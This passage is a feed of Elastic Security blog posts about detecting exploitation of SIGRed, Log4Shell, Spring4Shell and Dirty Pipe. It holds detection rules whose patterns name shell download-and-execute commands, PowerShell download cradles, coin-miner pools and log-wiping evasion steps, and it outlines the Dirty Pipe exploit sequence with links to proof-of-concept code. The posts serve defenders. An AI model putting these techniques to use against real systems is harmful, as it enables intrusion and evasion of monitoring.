<pre><code>event.category:(network or network_traffic) and destination.port:53 and (event.dataset:zeek.dns or type:dns or event.type:connection) and network.bytes&gt;60000
</code></pre>
<p><em>Figure 3 - Abnormally large DNS response (KQL)</em></p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltd7b7918786b511fe/6a7d7f305967e5129c5da4ce/packetbeat-network-blog-sigred-vulnerability.png" alt="Figure 4 - Packetbeat network detection logic identifying SIGRed - PCAP Source: maxpl0it" title="Figure 4 - Packetbeat network detection logic identifying SIGRed - PCAP Source: maxpl0it" /></p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltf84dcc3691aa2722/6a7d7f32ea068d4a76f071cf/filebeat-network-blog-sigred-vulnerability.png" alt="Figure 5 - Filebeat (with Zeek and Suricata) network detection logic identifying SIGRed - PCAP Source: SANS Internet Storm Center" title="Figure 5 - Filebeat (with Zeek and Suricata) network detection logic identifying SIGRed - PCAP Source: SANS Internet Storm Center" /></p>
<h2 id="defensiverecommendations">Defensive recommendations</h2>
<ol>
<li>Review and <a href="https://www.elastic.co/guide/en/siem/guide/7.8/rules-ui-create.html#create-rule-ui">implement</a> the above detection logic within your environment using technology such as <a href="https://www.elastic.co/endpoint-security/">Endpoint security</a>, <a href="https://www.elastic.co/beats/winlogbeat">Winlogbeat</a>, <a href="https://www.elastic.co/beats/packetbeat">Packetbeat</a>, or <a href="https://www.elastic.co/training/network-security-monitoring-engineer">network security monitoring (NSM)</a> platforms such as Zeek or Suricata.</li>
<li>Use the included network rule to identify large DNS queries and responses from internal and external populations.</li>
<li>Ensure that you have deployed the latest Microsoft <a href="https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-1350">Security Update</a> (Monthly Rollup or Security Only) and restart the patched machines. If unable to patch immediately: Microsoft <a href="https://support.microsoft.com/en-us/help/4569509/windows-dns-server-remote-code-execution-vulnerability">released</a> a registry-based workaround that doesn’t require a restart. This can be used as a temporary solution before the patch is applied.</li>
<li>Maintain backups of your critical systems to aid in quick recovery.</li>
<li>Perform routine vulnerability scans of your systems and patch identified vulnerabilities.</li>
</ol>
<h2 id="references">References</h2>
<ol>
<li><a href="https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-1350">CVE-2020-1350 | Windows DNS Server Remote Code Execution Vulnerability</a></li>
<li><a href="https://nvd.nist.gov/vuln/detail/CVE-2020-1350">CVE-2020-1350</a></li>
<li><a href="https://research.checkpoint.com/2020/resolving-your-way-into-domain-admin:-exploiting-a-17-year-old-bug-in-windows-dns-servers/">SIGRed – Resolving Your Way into Domain Admin: Exploiting a 17 Year-old Bug in Windows DNS Servers</a></li>
<li><a href="https://www.elastic.co/blog/elastic-security-opens-public-detection-rules-repo">Elastic Security opens public detection rules repo</a></li>
<li><a href="https://github.com/maxpl0it/CVE-2020-1350-DoS">Maxpl0it - CVE-2020-1350 (SIGRed) - Windows DNS DoS Exploit</a></li>
<li><a href="https://isc.sans.edu/forums/diary/PATCH+NOW+SIGRed+CVE20201350+Microsoft+DNS+Server+Vulnerability/26356/">SANS Internet Storm Center - PATCH NOW - SIGRed - CVE-2020-1350 - Microsoft DNS Server Vulnerability</a></li>
</ol>]]></content:encoded>
    <link>https://www.elastic.co/security-labs/blog/detection-rules-for-sigred-vulnerability</link>
    <guid isPermaLink="false">detection-rules-for-sigred-vulnerability</guid>
    <category><![CDATA[Threat Hunting]]></category>
    <dc:creator><![CDATA[Seth Goodwin,Daniel Stepanic,Justin Ibarra,Andrew Pease]]></dc:creator>
    <enclosure url="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt5947316f0ce0bb66/6a7d7f355588ad0cedee4284/blog-thumb-security-laptop.png" length="0" type="image/png"/>
    <pubDate>Tue, 22 Nov 2022 00:00:00 GMT</pubDate>
  </item>
  <item>
    <title><![CDATA[Detecting Exploitation of CVE-2021-44228 (Log4j2) with Elastic Security]]></title>
    <description><![CDATA[This blog post provides a summary of CVE-2021-44228 and provides Elastic Security users with detections to find active exploitation of the vulnerability in their environment. Further updates will be provided to this post as we learn more.]]></description>
    <content:encoded><![CDATA[<blockquote>
  <ul>
  <li><em>To understand how Elastic is currently assessing internal risk of this vulnerability in our products please see the advisory</em><a href="https://discuss.elastic.co/t/apache-log4j2-remote-code-execution-rce-vulnerability-cve-2021-44228-esa-2021-31/291476"><em>here.</em></a></li>
  <li><em>This blog has been updated (Dec. 17, 2021) with further detection and hunting improvements since its initial publish.</em></li>
  </ul>
</blockquote>
<h2 id="overview">Overview</h2>
<p>This blog post provides a summary of CVE-2021-44228 and provides Elastic Security users with detections to find active exploitation of the vulnerability in their environment.</p>
<p>Further updates will be provided to this post as we learn more. This version is accurate as of Tuesday, December 14, 2021. Updates from Apache may be investigated directly via the <a href="https://logging.apache.org/log4j/2.x/security.html#">security page</a> for Log4j2.</p>
<h2 id="summaryofcve202144228log4shell">Summary of CVE-2021-44228 (Log4Shell)</h2>
<p>Log4j2 is an open source logging framework incorporated into many Java based applications on both end-user systems and servers. In <a href="https://logging.apache.org/log4j/2.x/security.html#">late November 2021</a>, Chen Zhaojun of Alibaba identified a remote code execution vulnerability, ultimately being reported under the CVE ID : <a href="https://nvd.nist.gov/vuln/detail/CVE-2021-44228">CVE-2021-44228</a>, released to the public on December 10, 2021. The vulnerability is exploited through improper deserialization of user-input passed into the framework. It permits remote code execution and it can allow an attacker to leak sensitive data, such as environment variables, or execute malicious software on the target system.</p>
<p>The identified vulnerability impacts all versions of Log4j2 from version 2.0-beta9 to version 2.14.1. Early methods to patch the issue resulted in a number of release candidates, culminating in recommendations to upgrade the framework to Log4j2 2.15.0-rc2 at the time of this post.</p>
<p>Given the trivial complexity and the nature of observed widespread exploitation, mitigation should be considered critical in any environment that has identified software leveraging vulnerable versions of Log4j2.</p>
<h2 id="detectingexploitationoflog4shellinelasticsecurity">Detecting Exploitation of Log4Shell in Elastic Security</h2>
<p>Elastic Security users can use the following Event Correlation detection rule to identify active exploitation of the Log4j2 vulnerability. Depending on the format of the host based event data you may need to modify this detection to match your data fields.</p>
<p><strong>Detection Rule when using Endpoint data</strong></p>
<pre><code>sequence by host.id with maxspan=1m
 [network where event.action == "connection_attempted" and
  process.name : "java" and
  /*
     outbound connection attempt to
     LDAP, RMI or DNS standard ports
     by JAVA process
   */
  destination.port in (1389, 389, 1099, 53, 5353)] by process.pid
 [process where event.type == "start" and

  /* Suspicious JAVA child process */
  process.parent.name : "java" and
   process.name : ("sh",
                   "bash",
                   "dash",
                   "ksh",
                   "tcsh",
                   "zsh",
                   "curl",
                   "perl*",
                   "python*",
                   "ruby*",
                   "php*",
                   "wget")] by process.parent.pid
</code></pre>
<p><strong>Detection Rule when using Auditbeat data</strong></p>
<pre><code>sequence by agent.id with maxspan=1m
 [network where event.action == "connected-to" and
  process.name : "java" and
  /*
     outbound connection attempt to
     LDAP, RMI or DNS standard ports
     by JAVA process
   */
  destination.port in (1389, 389, 1099, 53, 5353)] by process.pid
 [process where event.type == "start" and

  /* Suspicious JAVA child process */
  process.parent.name : "java" and
   process.name : ("sh",
                   "bash",
                   "dash",
                   "ksh",
                   "tcsh",
                   "zsh",
                   "curl",
                   "perl*",
                   "python*",
                   "ruby*",
                   "php*",
                   "wget")] by process.parent.pid
</code></pre>
<p><strong>Detection rule when using Endgame streamed events</strong></p>
<pre><code>sequence by agent.id with maxspan=1m
 [network where event.category == "network" and
  process.name : "java" and
  /*
     outbound connection attempt to
     LDAP, RMI or DNS standard ports
     by JAVA process
   */
  destination.port in (1389, 389, 1099, 53, 5353)] by process.pid
 [process where event.type == "start" and

  /* Suspicious JAVA child process */
  process.parent.name : "java" and
   process.name : ("sh",
                   "bash",
                   "dash",
                   "ksh",
                   "tcsh",
                   "zsh",
                   "curl",
                   "perl*",
                   "python*",
                   "ruby*",
                   "php*",
                   "wget")] by process.parent.pid
</code></pre>
<p>This detection rule looks for a sequence of an outbound connection attempt to standard ports for LDAP, RMI and DNS (often abused via recently observed <a href="https://www.blackhat.com/docs/us-16/materials/us-16-Munoz-A-Journey-From-JNDI-LDAP-Manipulation-To-RCE.pdf">JAVA/JNDI</a> injection attacks) followed by a child process of the same Java process instance.</p>
<p>Now, let’s demonstrate how this rule detects exploitation of the log42j vulnerability:</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt29f601a497011e99/6a7d7f0705b7b5463a188ad4/blog-elastic-security-1.jpg" alt="The screenshot above shows an attacker exploiting the vulnerability with a base-64 encoded payload" title="The screenshot above shows an attacker exploiting the vulnerability with a base-64 encoded payload" /></p>
<p>The screenshot above shows an attacker exploiting the vulnerability with a base-64 encoded payload targeting an <a href="https://github.com/christophetd/log4shell-vulnerable-app">example vulnerable application</a> created by <a href="https://github.com/christophetd">Christophe Tafani-Dereeper</a>.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltb49c679c1111ca25/6a7d7f09bd219851f6755249/blog-elastic-security-2.jpg" alt="This screenshot shows the detection of the active exploitation of CVE-2021-44228 within Elastic Security detailing both the alert and timeline view of the exploit." title="This screenshot shows the detection of the active exploitation of CVE-2021-44228 within Elastic Security detailing both the alert and timeline view of the exploit." /></p>
<p>This screenshot shows the detection of the active exploitation of CVE-2021-44228 within Elastic Security detailing both the alert and timeline view of the exploit.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt20f7c0a5a97545e9/6a7d7f0c5967e5fdb85da4c6/blog-elastic-security-3.jpg" alt="The screenshot above shows in the investigation of the detection alert that Java executed a shell script to download and run a bash script." title="The screenshot above shows in the investigation of the detection alert that Java executed a shell script to download and run a bash script." /></p>
<p>The screenshot above shows in the investigation of the detection alert that Java executed a shell script to download and run a bash script.</p>
<h2 id="updatedetectionhuntingimprovements">Update: Detection &amp; hunting improvements</h2>
<p><strong>Suspicious Shell Commands Execution via Java</strong></p>
<p>Based on observed publicly known malicious Java classes served via log4j exploit, you can hunt for suspicious shell scripts and ingress tool transfer commands:</p>
<pre><code>process where event.type == "start" and
  process.parent.name : "java*" and

  /* Ingress tools transfer via common shell command interpreters */

  /* linux or macos */
  (
   (process.name : ("sh", "bash", "python*") and
    process.command_line : ("*curl*|*sh*", "*wget*|*bash", "*curl*|*bash*", "*curl*|*bash*", "*http*|*sh*", "*python*http*")) or

  /* windows */
  (process.name : ("powershell.exe", "pwsh.exe", "cmd.exe") and
   process.command_line : ("*.downloadstring*", "*.downloadfile*", "*.downloaddata*", "*BitsTransfer*", "* -enc*", "* IEX*", "*wp-content*", "*wp-admin*", "*wp-includes*", "*$*$*$*$*$*", "*^*^*^*^*^*^*^*^*^*", "*.replace*", "*start-process*", "*http*", "*cmd*powershell*")))
</code></pre>
<p><strong>Untrusted File Execution via JAVA</strong></p>
<p>Identifies when a JAVA interpreter creates an executable file (PE/ELF) and the file is subsequently executed.</p>
<p><strong>Detection Rule when using Endpoint data</strong></p>
<pre><code>sequence by host.id with maxspan=5m
 [ file where event.type != "deletion" and
  process.name : ("java", "java.exe", "javaw.exe") and

  (file.extension : ("exe", "com", "pif", "scr") or
      /* Match Windows PE files by header data (MZ) */
  file.Ext.header_bytes : ("4d5a*", "7f454c46*")) and

  not file.path :  ("?:\\Program Files\\*",
                    "?:\\Program Files (x86)\\*") ] by file.path
 [ process where event.type == "start" and
  not process.code_signature.trusted == true ] by process.executable
</code></pre>
<p><strong>Detection rule when using Endgame streamed events</strong></p>
<pre><code>sequence by agent.id with maxspan=5m
  [ file where event.type != "deletion"
    process.name : ("java", "java.exe", "javaw.exe")] by file_path
  [ process where event.type == "start" and
  not process.code_signature.trusted == true] by process_path
</code></pre>
<p><strong>Potential CoinMiner activity</strong></p>
<p>Process with command line common to cryptocurrency miner (most observed campaigns leveraging log4j exploit are coinminers):</p>
<pre><code>process where event.type == "start" and
 process.command_line :
       ("* pool.*", "*-u*--coin*", "*.xmr.*", "*.xmr1.*",
        "*stratum*", "*elitter.net*", "*cryptonight*",
        "*-a scrypt*", "*stratum1*", "*-userpass*", "*-max-cpu-usage*",
      "*qhor.net*", "*-wallet*pool*", "*--donate-level*", "*supportxmr.com*")
</code></pre>
<p>Other relevant post exploitation detections :</p>
<p><a href="https://github.com/elastic/detection-rules/blob/main/rules/linux/defense_evasion_attempt_to_disable_iptables_or_firewall.toml">Attempt to Disable IPTables or Firewall</a></p>
<p><a href="https://github.com/elastic/detection-rules/blob/main/rules/linux/defense_evasion_deletion_of_bash_command_line_history.toml">Tampering of Bash Command-Line History</a></p>
<p><a href="https://github.com/elastic/detection-rules/blob/main/rules/linux/defense_evasion_log_files_deleted.toml">System Log File Deletion</a></p>
<p><a href="https://github.com/elastic/detection-rules/blob/main/rules/cross-platform/execution_revershell_via_shell_cmd.toml">Potential Reverse Shell Activity via Terminal</a></p>
<p><a href="https://github.com/elastic/detection-rules/blob/main/rules/cross-platform/execution_suspicious_jar_child_process.toml">Suspicious JAVA Child Process</a></p>
<p><a href="https://github.com/elastic/detection-rules/blob/main/rules/linux/defense_evasion_attempt_to_disable_syslog_service.toml">Attempt to Disable Syslog Service</a></p>
<h2 id="elasticendgameeqlqueries">Elastic Endgame EQL Queries</h2>
<p><strong>Suspicious Java Netcon followed by Unusual Child Process</strong></p>
<pre><code>sequence with maxspan=5s
 [network where process_name == "java*" and destination_port in (1389, 389, 1099, 53, 5353) and
  destination_address != "127.0.0.1" and not destination_address == "::1"] by pid
 [process where opcode in (1,5) and
  /* Suspicious JAVA child process */
  parent_process_name == "java*" and
   process_name in ("sh", "bash", "dash", "ksh", "tcsh", "zsh", "curl", "perl*", "python*", "ruby*", "php*", "wget", "powershell.exe", "cmd.exe")] by ppid
</code></pre>
<p><strong>Suspicious Shell Commands Execution via Java</strong></p>
<pre><code>process where opcode in (1,5) and
  parent_process_name == "java*" and
  /* Ingress tools transfer via common shell command interpreters */

  /* linux or macos */
 (
  (process_name in ("sh", "bash", "python") and
   wildcard(command_line, "*curl*|*sh*", "*wget*|*bash", "*curl*|*bash*", "*curl*|*bash*", "*http*|*sh*", "*python*http*")) or
  /* windows */
  (process_name in ("powershell.exe", "pwsh.exe", "cmd.exe") and
   wildcard(command_line,"*.downloadstring*", "*.downloadfile*", "*.downloaddata*", "*BitsTransfer*", "* -enc*", "* IEX*", "*wp-content*", "*wp-admin*", "*wp-includes*", "*$*$*$*$*$*", "*^*^*^*^*^*^*^*^*^*","*.replace*", "*start-process*", "*http*", "*cmd*powershell*")))
</code></pre>
<p><strong>Common Coin Miners as a descendant of JAVA</strong></p>
<pre><code>process where opcode in (1, 3, 4, 5) and
 descendant of [process where opcode in (1, 3, 4, 5) and process_name == "java*"] and
 wildcard(command_line, "* pool.*", "*-u*--coin*", "*.xmr.*", "*.xmr1.*", "*stratum*", "*elitter.net*", "*cryptonight*", "*-a scrypt*", "*stratum1*",
"*-userpass*", "*-max-cpu-usage*", "*qhor.net*", "*-wallet*pool*",  "*--donate-level*", "*supportxmr.com*",
/* evasion commands */
"*base64*", "*history -c*", "*ld.so.preload*", "*nmi_watchdog*", "*ufw*disable*", "*.bash_history*", "*chmod*+x*",
"*tor2web*", "*kill*-9*", "*python*-c*http*")
</code></pre>
<p><strong>Untrusted File Execution via JAVA</strong></p>
<pre><code>sequence with maxspan=2m
  [ file where opcode != 2 and file_name == "*.exe" and process_name == "java*"] by file_path
  [ process where opcode in (1,5)] by process_path
</code></pre>
<h2 id="communitydetections">Community Detections</h2>
<p>A number of community members discussing widespread exploitation of the vulnerability have provided insights into a number of early detection methods that analysts may leverage to identify if systems they are using have been exploited or are under active exploitation:</p>
<ul>
<li><p>A series of <a href="https://gist.github.com/nathanqthai/01808c569903f41a52e7e7b575caa890">payloads</a> have been shared by the <a href="https://twitter.com/GreyNoiseIO/status/1469430126819618821">GreyNoise team</a>, including payloads containing both encoded and decoded variants for analysts looking to explore logs stored within their systems. This has been complemented with a list of initial <a href="https://twitter.com/GreyNoiseIO/status/1469334738225741832">tagged IPs</a> attempting exploitation of the vulnerability.</p></li>
<li><p><a href="https://twitter.com/cyb3rops/status/1469243580929740802?s=21">Florian Roth of Nextron Systems</a> has provided a <a href="https://gist.github.com/Neo23x0/e4c8b03ff8cdf1fa63b7d15db6e3860b">series of checks</a> for local exploitation using grep / zgrep, alongside some initial YARA signatures in a Gist listed on his Github account. Florian also shared a method for generating <a href="https://canarytokens.org/generate#">Thinkst</a> <a href="https://twitter.com/cyb3rops/status/1469405846010572816">CanaryTokens</a> to test systems you may manage for exploitability.</p></li>
<li><p><a href="https://twitter.com/mubix">Rob Fuller (Mubix)</a> has shared a list of known file hashes for vulnerable versions of the framework, <a href="https://github.com/mubix/CVE-2021-44228-Log4Shell-Hashes">here</a>.</p></li>
</ul>
<h2 id="additionalmitigationstrategies">Additional Mitigation Strategies</h2>
<p>Outside of the recommended guidance from the Apache team regarding the deployment of the latest, patched versions of the Log4j2 framework to update, a number of mitigations have been widely suggested to prevent exploitation:</p>
<ul>
<li><p><a href="https://www.fastly.com/blog/digging-deeper-into-log4shell-0day-rce-exploit-found-in-log4j">Fastly</a> have suggested checking if your version of Log4j supports executing the JVM with JAVA_OPTS=-Dlog4j2.formatMsgNoLookups=true to disable the lookup functionality to the remote server. This should apply to versions 2.10.0 through 2.15.0.</p></li>
<li><p>To prevent lateral movement from a vulnerable host, or exploitation over the network, limiting connectivity from potentially vulnerable systems to external resources to trusted applications and / or services is recommended.</p></li>
</ul>
<h2 id="thankyoufromelasticsecurity">Thank you, from Elastic Security.</h2>
<p>We want to thank all of the security teams across the globe for your tireless work today and through the weekend, especially those of you listed in this post. Openness and collaboration in the security community to safeguard all users is paramount when facing such a serious and pervasive vulnerability. We want you to know we are here with you every step of the way.</p>
<p>Existing Elastic Security can access these capabilities within the product. If you’re new to Elastic Security, take a look at our <a href="https://www.elastic.co/training/free#quick-starts">Quick Start guides</a> (bite-sized training videos to get you started quickly) or our <a href="https://www.elastic.co/training/free#fundamentals">free fundamentals training courses</a>. You can always get started with a <a href="https://cloud.elastic.co/registration">free 14-day trial of Elastic Cloud</a>. Or <a href="https://www.elastic.co/downloads/">download</a> the self-managed version of the Elastic Stack for free.</p>
<h2 id="referencematerial">Reference Material</h2>
<p><a href="https://www.lunasec.io/docs/blog/log4j-zero-day/">https://www.lunasec.io/docs/blog/log4j-zero-day/</a></p>
<p><a href="https://www.tenable.com/blog/cve-2021-44228-proof-of-concept-for-critical-apache-log4j-remote-code-execution-vulnerability">https://www.tenable.com/blog/cve-2021-44228-proof-of-concept-for-critical-apache-log4j-remote-code-execution-vulnerability</a></p>
<p><a href="https://www.crowdstrike.com/blog/log4j2-vulnerability-analysis-and-mitigation-recommendations/">https://www.crowdstrike.com/blog/log4j2-vulnerability-analysis-and-mitigation-recommendations/</a></p>
<p><a href="https://mbechler.github.io/2021/12/10/PSA_Log4Shell_JNDI_Injection/">https://mbechler.github.io/2021/12/10/PSA_Log4Shell_JNDI_Injection/</a></p>
<p><a href="https://www.greynoise.io/viz/query/?gnql=CVE-2021-44228">https://www.greynoise.io/viz/query/?gnql=CVE-2021-44228</a></p>
<p><a href="https://logging.apache.org/log4j/2.x/security.html#">https://logging.apache.org/log4j/2.x/security.html#</a></p>
<p><a href="https://github.com/christophetd/log4shell-vulnerable-app">https://github.com/christophetd/log4shell-vulnerable-app</a></p>]]></content:encoded>
    <link>https://www.elastic.co/security-labs/blog/detecting-log4j2-with-elastic-security</link>
    <guid isPermaLink="false">detecting-log4j2-with-elastic-security</guid>
    <category><![CDATA[Threat Hunting]]></category>
    <dc:creator><![CDATA[Jake King,Samir Bousseaden]]></dc:creator>
    <enclosure url="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt07cd72987bda80b0/6a7d7f0f3ce8e2646ccf2608/blog-security-detection-720x420.png" length="0" type="image/png"/>
    <pubDate>Tue, 22 Nov 2022 00:00:00 GMT</pubDate>
  </item>
  <item>
    <title><![CDATA[Elastic's response to the Spring4Shell vulnerability (CVE-2022-22965)]]></title>
    <description><![CDATA[Provide executive-level details about CVE-2022-22965, a recently-disclosed remote code execution (RCE) vulnerability also known as “Spring4Shell”.]]></description>
    <content:encoded><![CDATA[<p>On March 29, 2022 a vulnerability in the <a href="https://spring.io/projects/spring-framework">Spring framework</a> was <a href="https://tanzu.vmware.com/security/cve-2022-22965">disclosed</a> to the public by VMware. This vulnerability had several prerequisites affecting impact:</p>
<ul>
<li>Spring framework versions 5.3.0-5.3.17, 5.2.0-5.2.19, potentially software versions prior to 5.2.x</li>
<li>An application running as a Spring MVX or WebFlux object</li>
<li>Apache Tomcat as the container for that application</li>
<li>The application packaged as a Web Application Resource (WAR)</li>
</ul>
<p>Specifically, this vulnerability targets the ClassLoader() class, though similar undiscovered vulnerabilities in other classes are likely. A URI parameter can be passed to Tomcat as part of a standard web request to exploit this vulnerability.</p>
<h2 id="whatisthethreat">What is the threat?</h2>
<p>CVE-2022-22965 is a vulnerability that may affect systems on which the Spring Framework has been installed, and which expose Spring MVC or WebFlux applications running on JDK 9 or later. The exploit associated with this vulnerability requires Apache Tomcat, and that applications are deployed as Web Application Resources (WARs) — but enterprises should consider that other methods of exploitation are also possible.</p>
<h2 id="whatistheimpact">What is the impact?</h2>
<p>If successfully exploited, the Spring4Shell vulnerability may permit an adversary to execute arbitrary code (including malware) in the context of the web server. Because specific software, versions, and configurations are required as prerequisites, enterprises should expect a less impact than a vulnerability like <a href="https://www.elastic.co/blog/analysis-of-log4shell-cve-2021-45046">Log4Shell</a>. While Spring4Shell has more specific prerequisites to cause impact, Elastic Security still recommends <a href="https://spring.io/blog/2022/03/31/spring-framework-rce-early-announcement">following official guidance</a> regarding patching and upgrading.</p>
<h2 id="leveragingelasticforexploitdetection">Leveraging Elastic for exploit detection</h2>
<p>Prebuilt protections that generically identify aspects of successful exploitation already exist in community-facing repositories:</p>
<ul>
<li><a href="https://github.com/elastic/detection-rules/blob/6bdfddac8edea5e327bf28aed7e6dc4a7f701dc6/rules/windows/persistence_webshell_detection.toml">Webshell Detection: Script Process Child of Common Web Processes</a></li>
<li><a href="https://github.com/elastic/detection-rules/blob/414d32027632a49fb239abb8fbbb55d3fa8dd861/rules/linux/persistence_shell_activity_by_web_server.toml">Potential Shell via Web Server</a></li>
</ul>
<p>Additionally, Elastic <a href="https://github.com/elastic/detection-rules">provides</a> dozens of rules for common and uncommon post-exploitation techniques, which may appear in later stages of an intrusion attempt.</p>
<h3 id="artifacts">Artifacts</h3>
<p>Elastic’s community-facing <a href="https://github.com/elastic/detection-rules">detection-rules repository</a> contains two rules specific to webserver post-exploitation. Due to the unpredictable nature of vulnerabilities, any post-exploitation rules provided by Elastic may be helpful in detecting or understanding a Spring4Shell-related intrusion attempt. For enterprises seeking to better understand this vulnerability, consider <a href="https://sholzhauer.medium.com/spring4shell-detection-and-response-elastic-946ec4f59026">this</a> excellent overview by Elastic community member Stijn Holzhauer.</p>
<h2 id="defensiverecommendations">Defensive recommendations</h2>
<p>Enterprises should follow guidance provided by Spring in their <a href="https://spring.io/blog/2022/03/31/spring-framework-rce-early-announcement">official disclosure announcement</a>, and seek to patch or upgrade the Spring framework. Additionally, for those who may not be able to address the vulnerability in Spring, a patch has also been released to close this vulnerability in Apache Tomcat (minimum versions 10.0.20, 9.0.62, 8.5.78). Further, it is possible to configure disallowedFields to neutralize vulnerabilities related to data binding abuses.</p>
<h2 id="references">References</h2>
<ul>
<li><a href="https://spring.io/blog/2022/03/31/spring-framework-rce-early-announcement">Spring Framework RCE, Early Announcement</a></li>
<li><a href="https://tanzu.vmware.com/security/cve-2022-22965">CVE-2022-22965: Spring Framework RCE via Data Binding on JDK 9+</a></li>
<li><a href="https://sholzhauer.medium.com/spring4shell-detection-and-response-elastic-946ec4f59026">Using the Elastic stack to detect potential malicious requests and explore exposure to the RCE flaw in the Java Spring Framework.</a></li>
</ul>
<p><strong>Not already using Elastic Security? You can always get started with a <a href="https://cloud.elastic.co/registration">free 14-day trial</a> of Elastic Cloud.</strong></p>]]></content:encoded>
    <link>https://www.elastic.co/security-labs/blog/elastic-response-to-the-the-spring4shell-vulnerability-cve-2022-22965</link>
    <guid isPermaLink="false">elastic-response-to-the-the-spring4shell-vulnerability-cve-2022-22965</guid>
    <category><![CDATA[Threat Hunting]]></category>
    <dc:creator><![CDATA[Devon Kerr]]></dc:creator>
    <enclosure url="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt6aaff54e163cdfc7/6a7d7f7a8fc2d056963eb863/thumbnail-security-logos-lock.png" length="0" type="image/png"/>
    <pubDate>Tue, 22 Nov 2022 00:00:00 GMT</pubDate>
  </item>
  <item>
    <title><![CDATA[Detecting and responding to Dirty Pipe with Elastic]]></title>
    <description><![CDATA[Elastic Security is releasing detection logic for the Dirty Pipe exploit.]]></description>
    <content:encoded><![CDATA[<h2 id="preamble">Preamble</h2>
<p>Dirty Pipe is a local privilege escalation vulnerability that is easily exploitable with a handful of working exploit POCs already available. Its broad scope (any user-readable file and affected Linux versions) along with its evolving nature (the SUID shell backdoor exploit) make CVE-2022-0847 especially dangerous for administrators of systems that are potentially vulnerable.</p>
<h3 id="whatisdirtypipecve20220847">What is Dirty Pipe (CVE-2022-0847)?</h3>
<p><a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-0847">CVE-2022-0847</a> is a Linux local privilege escalation vulnerability, discovered by security researcher Max Kellermann that takes advantage of the way the Linux kernel manages page files and named pipes allowing for the overwriting of data in read-only files. This vulnerability impacts Linux kernels 5.8 and later until any version before 5.16.11, 5.15.25, and 5.10.102.</p>
<h3 id="whatistheimpact">What is the impact?</h3>
<p>With many POC’s already released, this vulnerability can be easily exploited to gain root-level privileges by, for instance, rewriting sensitive files like “/etc/passwd” or hijacking a SUID root binary (like sudo) via injection of malicious code.</p>
<h3 id="whatiselasticdoingaboutit">What is Elastic doing about it?</h3>
<p>Elastic is releasing detection logic and Auditd rules that can be used to detect exploitation of this vulnerability.</p>
<h2 id="dirtypipedetails">Dirty Pipe Details</h2>
<p>The vulnerability can be exploited due to a flaw in the new pipe buffer structure where a flag member lacked proper initialization and could then contain a stale value. This could then be used to write to pages within the page cache behind read-only files, allowing for privilege escalation. Given the specific nature of this vulnerability, detection can be quite difficult.</p>
<h3 id="linuxpipescve20220847">Linux Pipes &amp; CVE-2022-0847</h3>
<p><a href="https://man7.org/linux/man-pages/man2/pipe.2.html">Pipes</a> are an interprocess communication mechanism represented as a file within Linux that can receive input data and provide an output for that data. The output of one process can become the input of another using a “pipe” to forward that data between.</p>
<p>Pipes are managed by the CPU in memory and their data is referred to as a “page”.</p>
<p>The exploitation of this vulnerability utilizes a process called “page splicing”. Page splicing is used to merge data between different pipe pages in memory without having to rewrite the data.</p>
<p>The flag we referenced in the summary is the PIPE_BUF_FLAG_CAN_MERGE flag. This must be set in order for a page cache to be merged and is only set when the pipe page becomes full. Howerver, if the page cache is emptied completely this flag remains (lack of initialization) which is where the problem lies.</p>
<p>The exploit functions generally by:</p>
<ol>
<li>Opening a new pipe</li>
<li>Filling the pipe’s page cache with arbitrary data in order to set the PIPE_BUF_FLAG_CAN_MERGE flag</li>
<li>Draining the page cache of data but retaining the PIPE_BUF_FLAG_CAN_MERGE flag and replacing the data with the new data they want to overwrite a read-only file with</li>
<li>The splice (“page splicing”) <a href="https://man7.org/linux/man-pages/man2/syscalls.2.html">syscall</a> is then used to merge the pages (the pipe page and target file page) leading to the new data being added to a target file bypassing the read-only permissions</li>
</ol>
<p>Many of the exploit POCs observed so far target the /etc/passwd file to overwrite and provide the users with elevated root privileges. Other variants of the exploit released allow for the creation of a SUID shell backdoor by overwriting a binary that has SUID permissions (superuser capabilities) giving the user a root shell and complete control.</p>
<p>We anticipate that adversaries and researchers will develop a multitude of other exploitation chains with this particular vulnerability.</p>
<h3 id="proofofconceptcode">Proof Of Concept Code</h3>
<p>The security community has developed a multitude of different tests that adversaries may take advantage of in future attacks against systems. POCs listed below are authored to help security researchers identify if systems are impacted by the vulnerability, and furthermore - test detection strategies.</p>
<ul>
<li>Original Max Kellermann write-up: <a href="https://dirtypipe.cm4all.com/">https://dirtypipe.cm4all.com/</a></li>
<li>SUID shell: ​​<a href="https://haxx.in/files/dirtypipez.c">https://haxx.in/files/dirtypipez.c</a></li>
<li>Passwd overwrite: <a href="https://github.com/liamg/traitor">https://github.com/liamg/traitor</a></li>
<li>Passwd overwrite: ​​<a href="https://github.com/imfiver/CVE-2022-0847">https://github.com/imfiver/CVE-2022-0847</a></li>
<li>Metasploit module: <a href="https://github.com/rapid7/metasploit-framework/pull/16303">https://github.com/rapid7/metasploit-framework/pull/16303</a></li>
</ul>
<h2 id="findingsystemsvulnerabletodirtypipe">Finding systems vulnerable to Dirty Pipe</h2>
<p>Beyond using a traditional vulnerabilty scanner, there are several ways to detect systems vulnerable to Dirty Pipe.</p>
<h3 id="usingtheelasticsecurityintegration">Using the Elastic Security Integration</h3>
<p>If you have Auditbeat, Filebeat (with the Auditd module enabled), or the Elastic Agent (with the Security or Auditd integrations deployed) you can use the Lens visualization tool (located in Kibana) to quickly compile and save a list of vulnerable systems as evidenced in the screenshot below:</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt13f2063bf0dd6267/6a7d7ed3e88c65396300890c/dirty-pipe-with-elastic-image7.png" alt="Analyzing your infrastructure for kernel versions impacted by Dirty Pipe" title="Analyzing your infrastructure for kernel versions impacted by Dirty Pipe" /></p>
<h3 id="usingtheosquerymanagerintegration">Using the Osquery Manager Integration</h3>
